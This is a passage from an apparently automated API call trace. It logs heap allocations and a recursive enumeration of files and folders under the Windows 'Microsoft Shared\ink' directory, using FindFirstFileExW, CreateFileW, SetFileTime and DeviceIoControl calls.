cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0045.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0045.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0045.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0928 [0045.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e1548 [0045.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0045.544] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.544] GetLastError () returned 0x12 [0045.544] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0045.544] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.544] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.544] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.544] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.545] GetLastError () returned 0x12 [0045.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.545] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0045.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.545] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="")) returned 1 [0045.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0045.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0045.545] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0045.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e3218 [0045.545] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e3218, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e3218, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0045.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e3218) returned 1 [0045.545] NtClose (Handle=0x164) returned 0x0 [0045.545] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0045.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0045.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e1650 [0045.546] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0045.549] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.549] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0045.549] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0045.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e1758 [0045.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0948 [0045.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e1860 [0045.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.549] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0045.549] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0045.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.549] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0045.549] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0045.549] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0045.549] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0045.549] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0045.549] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0045.549] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="")) returned 1 [0045.549] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0045.550] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0045.550] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0045.550] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0045.550] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0045.550] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0045.550] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0045.550] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0045.550] GetLastError () returned 0x12 [0045.550] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0045.550] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0045.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.550] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0045.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0045.561] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0045.561] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e3218, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9e3218, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0045.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e3218) returned 1 [0045.561] NtClose (Handle=0x164) returned 0x0 [0045.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e21a8) returned 1 [0045.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0045.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e21a8 [0045.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e22b0 [0045.562] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0045.562] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.609] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0045.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e23b8 [0045.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0045.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e0a68 [0045.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e24c0 [0045.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.610] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0045.610] GetLastError () returned 0x12 [0045.610] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, 